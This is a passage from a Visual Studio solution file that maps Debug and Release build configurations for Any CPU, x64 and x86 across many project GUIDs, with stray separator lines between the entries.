{74B393F3-4000-49AC-8116-DCCDB5F52344}.Release|x64.ActiveCfg = Release|x64
|
||||
{74B393F3-4000-49AC-8116-DCCDB5F52344}.Release|x64.Build.0 = Release|x64
|
||||
{74B393F3-4000-49AC-8116-DCCDB5F52344}.Release|x86.ActiveCfg = Release|x86
|
||||
{74B393F3-4000-49AC-8116-DCCDB5F52344}.Release|x86.Build.0 = Release|x86
|
||||
{C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Debug|x64.Build.0 = Debug|x64
|
||||
{C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Debug|x86.ActiveCfg = Debug|x64
|
||||
{C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Debug|x86.Build.0 = Debug|x64
|
||||
{C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
{C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Release|x64.ActiveCfg = Release|x64
|
||||
{C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Release|x64.Build.0 = Release|x64
|
||||
{C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Release|x86.ActiveCfg = Release|x86
|
||||
{C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Release|x86.Build.0 = Release|x86
|
||||
{ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Debug|x64.Build.0 = Debug|x64
|
||||
{ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Debug|x86.ActiveCfg = Debug|x64
|
||||
{ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Debug|x86.Build.0 = Debug|x64
|
||||
{ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
{ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Release|x64.ActiveCfg = Release|x64
|
||||
{ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Release|x64.Build.0 = Release|x64
|
||||
{ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Release|x86.ActiveCfg = Release|x86
|
||||
{ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Release|x86.Build.0 = Release|x86
|
||||
{F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Debug|x64.Build.0 = Debug|x64
|
||||
{F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Debug|x86.ActiveCfg = Debug|x64
|
||||
{F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Debug|x86.Build.0 = Debug|x64
|
||||
{F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
{F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Release|x64.ActiveCfg = Release|x64
|
||||
{F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Release|x64.Build.0 = Release|x64
|
||||
{F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Release|x86.ActiveCfg = Release|x86
|
||||
{F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Release|x86.Build.0 = Release|x86
|
||||
{3AF39094-7F42-4444-A278-FA656EB4678F}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{3AF39094-7F42-4444-A278-FA656EB4678F}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{3AF39094-7F42-4444-A278-FA656EB4678F}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{3AF39094-7F42-4444-A278-FA656EB4678F}.Debug|x64.Build.0 = Debug|x64
|
||||
{3AF39094-7F42-4444-A278-FA656EB4678F}.Debug|x86.ActiveCfg = Debug|x64
|
||||
{3AF39094-7F42-4444-A278-FA656EB4678F}.Debug|x86.Build.0 = Debug|x64
|
||||
{3AF39094-7F42-4444-A278-FA656EB4678F}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{3AF39094-7F42-4444-A278-FA656EB4678F}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
{3AF39094-7F42-4444-A278-FA656EB4678F}.Release|x64.ActiveCfg = Release|x64
|
||||
{3AF39094-7F42-4444-A278-FA656EB4678F}.Release|x64.Build.0 = Release|x64
|
||||
{3AF39094-7F42-4444-A278-FA656EB4678F}.Release|x86.ActiveCfg = Release|x86
|
||||
{3AF39094-7F42-4444-A278-FA656EB4678F}.Release|x86.Build.0 = Release|x86
|
||||
{B9BDA393-C258-44D3-8266-D62265008BD4}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{B9BDA393-C258-44D3-8266-D62265008BD4}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{B9BDA393-C258-44D3-8266-D62265008BD4}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{B9BDA393-C258-44D3-8266-D62265008BD4}.Debug|x64.Build.0 = Debug|x64
|
||||
{B9BDA393-C258-44D3-8266-D62265008BD4}.Debug|x86.ActiveCfg = Debug|x64
|
||||
{B9BDA393-C258-44D3-8266-D62265008BD4}.Debug|x86.Build.0 = Debug|x64
|
||||
{B9BDA393-C258-44D3-8266-D62265008BD4}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{B9BDA393-C258-44D3-8266-D62265008BD4}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
{B9BDA393-C258-44D3-8266-D62265008BD4}.Release|x64.ActiveCfg = Release|x64
|
||||
{B9BDA393-C258-44D3-8266-D62265008BD4}.Release|x64.Build.0 = Release|x64
|
||||
{B9BDA393-C258-44D3-8266-D62265008BD4}.Release|x86.ActiveCfg = Release|x86
|
||||
{B9BDA393-C258-44D3-8266-D62265008BD4}.Release|x86.Build.0 = Release|x86
|
||||
{ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Debug|x64.Build.0 = Debug|x64
|
||||
{ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Debug|x86.ActiveCfg = Debug|x64
|
||||
{ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Debug|x86.Build.0 = Debug|x64
|
||||
{ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
{ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Release|x64.ActiveCfg = Release|x64
|
||||
{ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Release|x64.Build.0 = Release|x64
|
||||
{ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Release|x86.ActiveCfg = Release|x86
|
||||
{ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Release|x86.Build.0 = Release|x86
|
||||
{E4724425-FC2D-40AE-9506-553D5D9DD929}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{E4724425-FC2D-40AE-9506-553D5D9DD929}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{E4724425-FC2D-40AE-9506-553D5D9DD929}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{E4724425-FC2D-40AE-9506-553D5D9DD929}.Debug|x64.Build.0 = Debug|x64
|
||||
{E4724425-FC2D-40AE-9506-553D5D9DD929}.Debug|x86.ActiveCfg = Debug|x64
|
||||
{E4724425-FC2D-40AE-9506-553D5D9DD929}.Debug|x86.Build.0 = Debug|x64
|
||||
{E4724425-FC2D-40AE-9506-553D5D9DD929}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{E4724425-FC2D-40AE-9506-553D5D9DD929}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
{E4724425-FC2D-40AE-9506-553D5D9DD929}.Release|x64.ActiveCfg = Release|x64
|
||||
{E4724425-FC2D-40AE-9506-553D5D9DD929}.Release|x64.Build.0 = Release|x64
|
||||
{E4724425-FC2D-40AE-9506-553D5D9DD929}.Release|x86.ActiveCfg = Release|x86
|
||||
{E4724425-FC2D-40AE-9506-553D5D9DD929}.Release|x86.Build.0 = Release|x86
|
||||
{6008A59E-80A4-4790-8FE3-01DE201D71B3}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{6008A59E-80A4-4790-8FE3-01DE201D71B3}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{6008A59E-80A4-4790-8FE3-01DE201D71B3}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{6008A59E-80A4-4790-8FE3-01DE201D71B3}.Debug|x64.Build.0 = Debug|x64
|
||||
{6008A59E-80A4-4790-8FE3-01DE201D71B3}.Debug|x86.ActiveCfg = Debug|x64
|
||||
{6008A59E-80A4-4790-8FE3-01DE201D71B3}.Debug|x86.Build.0 = Debug|x64
|
||||
{6008A59E-80A4-4790-8FE3-01DE201D71B3}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{6008A59E-80A4-4790-8FE3-01DE201D71B3}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
{6008A59E-80A4-4790-8FE3-01DE201D71B3}.Release|x64.ActiveCfg = Release|x64
|
||||
{6008A59E-80A4-4790-8FE3-01DE201D71B3}.Release|x64.Build.0 = Release|x64
|
||||
{6008A59E-80A4-4790-8FE3-01DE201D71B3}.Release|x86.ActiveCfg = Release|x86
|
||||
{6008A59E-80A4-4790-8FE3-01DE201D71B3}.Release|x86.Build.0 = Release|x86
|
||||
{8806CD1D-AA64-4E9F-91C7-B579765549B0}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{8806CD1D-AA64-4E9F-91C7-B579765549B0}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{8806CD1D-AA64-4E9F-91C7-B579765549B0}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{8806CD1D-AA64-4E9F-91C7-B579765549B0}.Debug|x64.Build.0 = Debug|x64
|
||||
{8806CD1D-AA64-4E9F-91C7-B579765549B0}.Debug|x86.ActiveCfg = Debug|x64
|
||||
{8806CD1D-AA64-4E9F-91C7-B579765549B0}.Debug|x86.Build.0 = Debug|x64
|
||||
{8806CD1D-AA64-4E9F-91C7-B579765549B0}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{8806CD1D-AA64-4E9F-91C7-B579765549B0}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
{8806CD1D-AA64-4E9F-91C7-B579765549B0}.Release|x64.ActiveCfg = Release|x64
|
||||
{8806CD1D-AA64-4E9F-91C7-B579765549B0}.Release|x64.Build.0 = Release|x64
|
||||
{8806CD1D-AA64-4E9F-91C7-B579765549B0}.Release|x86.ActiveCfg = Release|x86
|
||||
{8806CD1D-AA64-4E9F-91C7-B579765549B0}.Release|x86.Build.0 = Release|x86
|
||||
{21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Debug|x64.Build.0 = Debug|x64
|
||||
{21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Debug|x86.ActiveCfg = Debug|x64
|
||||
{21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Debug|x86.Build.0 = Debug|x64
|
||||
{21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
{21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Release|x64.ActiveCfg = Release|x64
|
||||
{21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Release|x64.Build.0 = Release|x64
|
||||
{21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Release|x86.ActiveCfg = Release|x86
|
||||
{21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Release|x86.Build.0 = Release|x86
|
||||
{1D897A8A-1394-4561-B31C-D8312462500C}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{1D897A8A-1394-4561-B31C-D8312462500C}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{1D897A8A-1394-4561-B31C-D8312462500C}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{1D897A8A-1394-4561-B31C-D8312462500C}.Debug|x64.Build.0 = Debug|x64
|
||||
{1D897A8A-1394-4561-B31C-D8312462500C}.Debug|x86.ActiveCfg = Debug|x64
|
||||
{1D897A8A-1394-4561-B31C-D8312462500C}.Debug|x86.Build.0 = Debug|x64
|
||||
{1D897A8A-1394-4561-B31C-D8312462500C}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{1D897A8A-1394-4561-B31C-D8312462500C}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
{1D897A8A-1394-4561-B31C-D8312462500C}.Release|x64.ActiveCfg = Release|x64
|
||||
{1D897A8A-1394-4561-B31C-D8312462500C}.Release|x64.Build.0 = Release|x64
|
||||
{1D897A8A-1394-4561-B31C-D8312462500C}.Release|x86.ActiveCfg = Release|x86
|
||||
{1D897A8A-1394-4561-B31C-D8312462500C}.Release|x86.Build.0 = Release|x86
|
||||
{E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Debug|x64.Build.0 = Debug|x64
|
||||
{E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Debug|x86.ActiveCfg = Debug|x64
|
||||
{E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Debug|x86.Build.0 = Debug|x64
|
||||
{E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
{E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Release|x64.ActiveCfg = Release|x64
|
||||
{E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Release|x64.Build.0 = Release|x64
|
||||
{E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Release|x86.ActiveCfg = Release|x86
|
||||
{E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Release|x86.Build.0 = Release|x86
|
||||
{6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Debug|x64.Build.0 = Debug|x64
|
||||
{6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Debug|x86.ActiveCfg = Debug|x64
|
||||
{6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Debug|x86.Build.0 = Debug|x64
|
||||
{6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
{6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Release|x64.ActiveCfg = Release|x64
|
||||
{6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Release|x64.Build.0 = Release|x64
|
||||
{6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Release|x86.ActiveCfg = Release|x86
|
||||
{6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Release|x86.Build.0 = Release|x86
|
||||
{44D50BF5-4C12-4328-B983-0045C157D932}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{44D50BF5-4C12-4328-B983-0045C157D932}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{44D50BF5-4C12-4328-B983-0045C157D932}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{44D50BF5-4C12-4328-B983-0045C157D932}.Debug|x64.Build.0 = Debug|x64
|
||||
{44D50BF5-4C12-4328-B983-0045C157D932}.Debug|x86.ActiveCfg = Debug|x64
|
||||
{44D50BF5-4C12-4328-B983-0045C157D932}.Debug|x86.Build.0 = Debug|x64
|
||||
{44D50BF5-4C12-4328-B983-0045C157D932}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{44D50BF5-4C12-4328-B983-0045C157D932}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
{44D50BF5-4C12-4328-B983-0045C157D932}.Release|x64.ActiveCfg = Release|x64
|
||||
{44D50BF5-4C12-4328-B983-0045C157D932}.Release|x64.Build.0 = Release|x64
|
||||
{44D50BF5-4C12-4328-B983-0045C157D932}.Release|x86.ActiveCfg = Release|x86
|
||||
{44D50BF5-4C12-4328-B983-0045C157D932}.Release|x86.Build.0 = Release|x86
|
||||
{2C98A07C-F4CD-486C-BBAB-EB6B6CDE1A35}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{2C98A07C-F4CD-486C-BBAB-EB6B6CDE1A35}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{2C98A07C-F4CD-486C-BBAB-EB6B6CDE1A35}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{2C98A07C-F4CD-486C-BBAB-EB6B6CDE1A35}.Debug|x64.Build.0 = Debug|x64
|
||||
{2C98A07C-F4CD-486C-BBAB-EB6B6CDE1A35}.Debug|x86.ActiveCfg = Debug|x64
|
||||
{2C98A07C-F4CD-486C-BBAB-EB6B6CDE1A35}.Debug|x86.Build.0 = Debug|x64
|
||||
{2C98A07C-F4CD-486C-BBAB-EB6B6CDE1A35}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{2C98A07C-F4CD-486C-BBAB-EB6B6CDE1A35}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
{2C98A07C-F4CD-486C-BBAB-EB6B6CDE1A35}.Release|x64.ActiveCfg = Release|x64
|
||||
{2C98A07C-F4CD-486C-BBAB-EB6B6CDE1A35}.Release|x64.Build.0 = Release|x64
|
||||
{2C98A07C-F4CD-486C-BBAB-EB6B6CDE1A35}.Release|x86.ActiveCfg = Release|x86
|
||||
{2C98A07C-F4CD-486C-BBAB-EB6B6CDE1A35}.Release|x86.Build.0 = Release|x86
|
||||
{6CA1FF03-8102-41D5-9D57-CC2DA346D684}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{6CA1FF03-8102-41D5-9D57-CC2DA346D684}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{6CA1FF03-8102-41D5-9D57-CC2DA346D684}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{6CA1FF03-8102-41D5-9D57-CC2DA346D684}.Debug|x64.Build.0 = Debug|x64
|
||||
{6CA1FF03-8102-41D5-9D57-CC2DA346D684}.Debug|x86.ActiveCfg = Debug|x64
|
||||
{6CA1FF03-8102-41D5-9D57-CC2DA346D684}.Debug|x86.Build.0 = Debug|x64
|
||||
{6CA1FF03-8102-41D5-9D57-CC2DA346D684}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{6CA1FF03-8102-41D5-9D57-CC2DA346D684}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
{6CA1FF03-8102-41D5-9D57-CC2DA346D684}.Release|x64.ActiveCfg = Release|x64
|
||||
{6CA1FF03-8102-41D5-9D57-CC2DA346D684}.Release|x64.Build.0 = Release|x64
|
||||
{6CA1FF03-8102-41D5-9D57-CC2DA346D684}.Release|x86.ActiveCfg = Release|x86
|
||||
{6CA1FF03-8102-41D5-9D57-CC2DA346D684}.Release|x86.Build.0 = Release|x86
|
||||
{74855A66-CD77-4CCA-AFD9-09E275E47591}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{74855A66-CD77-4CCA-AFD9-09E275E47591}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{74855A66-CD77-4CCA-AFD9-09E275E47591}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{74855A66-CD77-4CCA-AFD9-09E275E47591}.Debug|x64.Build.0 = Debug|x64
|
||||
{74855A66-CD77-4CCA-AFD9-09E275E47591}.Debug|x86.ActiveCfg = Debug|Any CPU
|
||||
{74855A66-CD77-4CCA-AFD9-09E275E47591}.Debug|x86.Build.0 = Debug|Any CPU
|
||||
{74855A66-CD77-4CCA-AFD9-09E275E47591}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{74855A66-CD77-4CCA-AFD9-09E275E47591}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
{74855A66-CD77-4CCA-AFD9-09E275E47591}.Release|x64.ActiveCfg = Release|Any CPU
|
||||
{74855A66-CD77-4CCA-AFD9-09E275E47591}.Release|x64.Build.0 = Release|Any CPU
|
||||
{74855A66-CD77-4CCA-AFD9-09E275E47591}.Release|x86.ActiveCfg = Release|Any CPU
|
||||
{74855A66-CD77-4CCA-AFD9-09E275E47591}.Release|x86.Build.0 = Release|Any CPU
|
||||
{2EA76D5F-44EB-4B41-8752-0A9380E5A28A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{2EA76D5F-44EB-4B41-8752-0A9380E5A28A}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{2EA76D5F-44EB-4B41-8752-0A9380E5A28A}.Debug|x64.ActiveCfg = Debug|Any CPU
|
||||
{2EA76D5F-44EB-4B41-8752-0A9380E5A28A}.Debug|x64.Build.0 = Debug|Any CPU
|
||||
{2EA76D5F-44EB-4B41-8752-0A9380E5A28A}.Debug|x86.ActiveCfg = Debug|Any CPU
|
||||
{2EA76D5F-44EB-4B41-8752-0A9380E5A28A}.Debug|x86.Build.0 = Debug|Any CPU
|
||||
{2EA76D5F-44EB-4B41-8752-0A9380E5A28A}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{2EA76D5F-44EB-4B41-8752-0A9380E5A28A}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
{2EA76D5F-44EB-4B41-8752-0A9380E5A28A}.Release|x64.ActiveCfg = Release|Any CPU
|
||||
{2EA76D5F-44EB-4B41-8752-0A9380E5A28A}.Release|x64.Build.0 = Release|Any CPU
|
||||
{2EA76D5F-44EB-4B41-8752-0A9380E5A28A}.Release|x86.ActiveCfg = Release|Any CPU
|
||||
{2EA76D5F-44EB-4B41-8752-0A9380E5A28A}.Release|x86.Build.0 = Release|Any CPU
|
||||
{8F530743-F632-41FC-BBEA-B6727542A719}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{8F530743-F632-41FC-BBEA-B6727542A719}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{8F530743-F632-41FC-BBEA-B6727542A719}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{8F530743-F632-41FC-BBEA-B6727542A719}.Debug|x64.Build.0 = Debug|x64
|
||||
{8F530743-F632-41FC-BBEA-B6727542A719}.Debug|x86.ActiveCfg = Debug|x86
|
||||
{8F530743-F632-41FC-BBEA-B6727542A719}.Debug|x86.Build.0 = Debug|x86
|
||||
{8F530743-F632-41FC-BBEA-B6727542A719}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{8F530743-F632-41FC-BBEA-B6727542A719}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
{8F530743-F632-41FC-BBEA-B6727542A719}.Release|x64.ActiveCfg = Release|x64
|
||||
{8F530743-F632-41FC-BBEA-B6727542A719}.Release|x64.Build.0 = Release|x64
|
||||
{8F530743-F632-41FC-BBEA-B6727542A719}.Release|x86.ActiveCfg = Release|x86
|
||||
{8F530743-F632-41FC-BBEA-B6727542A719}.Release|x86.Build.0 = Release|x86
|
||||
{92E783D2-0C9D-490E-AC6B-F3ED6520F12B}.Debug|Any CPU.ActiveCfg = Debug|Win32
|
||||
{92E783D2-0C9D-490E-AC6B-F3ED6520F12B}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{92E783D2-0C9D-490E-AC6B-F3ED6520F12B}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{92E783D2-0C9D-490E-AC6B-F3ED6520F12B}.Debug|x86.Build.0 = Debug|Win32
|
||||
{92E783D2-0C9D-490E-AC6B-F3ED6520F12B}.Release|Any CPU.ActiveCfg = Debug|Win32
|
||||
{92E783D2-0C9D-490E-AC6B-F3ED6520F12B}.Release|x64.ActiveCfg = Release|x64
|
||||
{92E783D2-0C9D-490E-AC6B-F3ED6520F12B}.Release|x86.ActiveCfg = Release|Win32
|
||||
{92E783D2-0C9D-490E-AC6B-F3ED6520F12B}.Release|x86.Build.0 = Release|Win32
|
||||
{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Debug|x64.Build.0 = Debug|x64
|
||||
{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Debug|x86.ActiveCfg = Debug|x64
|
||||
{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Debug|x86.Build.0 = Debug|x64
|
||||
{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Release|x64.ActiveCfg = Release|x64
|
||||
{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Release|x64.Build.0 = Release|x64
|
||||
{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Release|x86.ActiveCfg = Release|x86
|
||||
{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Release|x86.Build.0 = Release|x86
|
||||
{B9E30FDB-5D10-4986-97A1-556DB67BA0CD}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{B9E30FDB-5D10-4986-97A1-556DB67BA0CD}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{B9E30FDB-5D10-4986-97A1-556DB67BA0CD}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{B9E30FDB-5D10-4986-97A1-556DB67BA0CD}.Debug|x64.Build.0 = Debug|x64
|
||||
{B9E30FDB-5D10-4986-97A1-556DB67BA0CD}.Debug|x86.ActiveCfg = Debug|x86
|
||||
{B9E30FDB-5D10-4986-97A1-556DB67BA0CD}.Debug|x86.Build.0 = Debug|x86
|
||||
{B9E30FDB-5D10-4986-97A1-556DB67BA0CD}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{B9E30FDB-5D10-4986-97A1-556DB67BA0CD}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
{B9E30FDB-5D10-4986-97A1-556DB67BA0CD}.Release|x64.ActiveCfg = Release|x64
|
||||
{B9E30FDB-5D10-4986-97A1-556DB67BA0CD}.Release|x64.Build.0 = Release|x64
|
||||
{B9E30FDB-5D10-4986-97A1-556DB67BA0CD}.Release|x86.ActiveCfg = Release|x86
|
||||
{B9E30FDB-5D10-4986-97A1-556DB67BA0CD}.Release|x86.Build.0 = Release|x86
|
||||
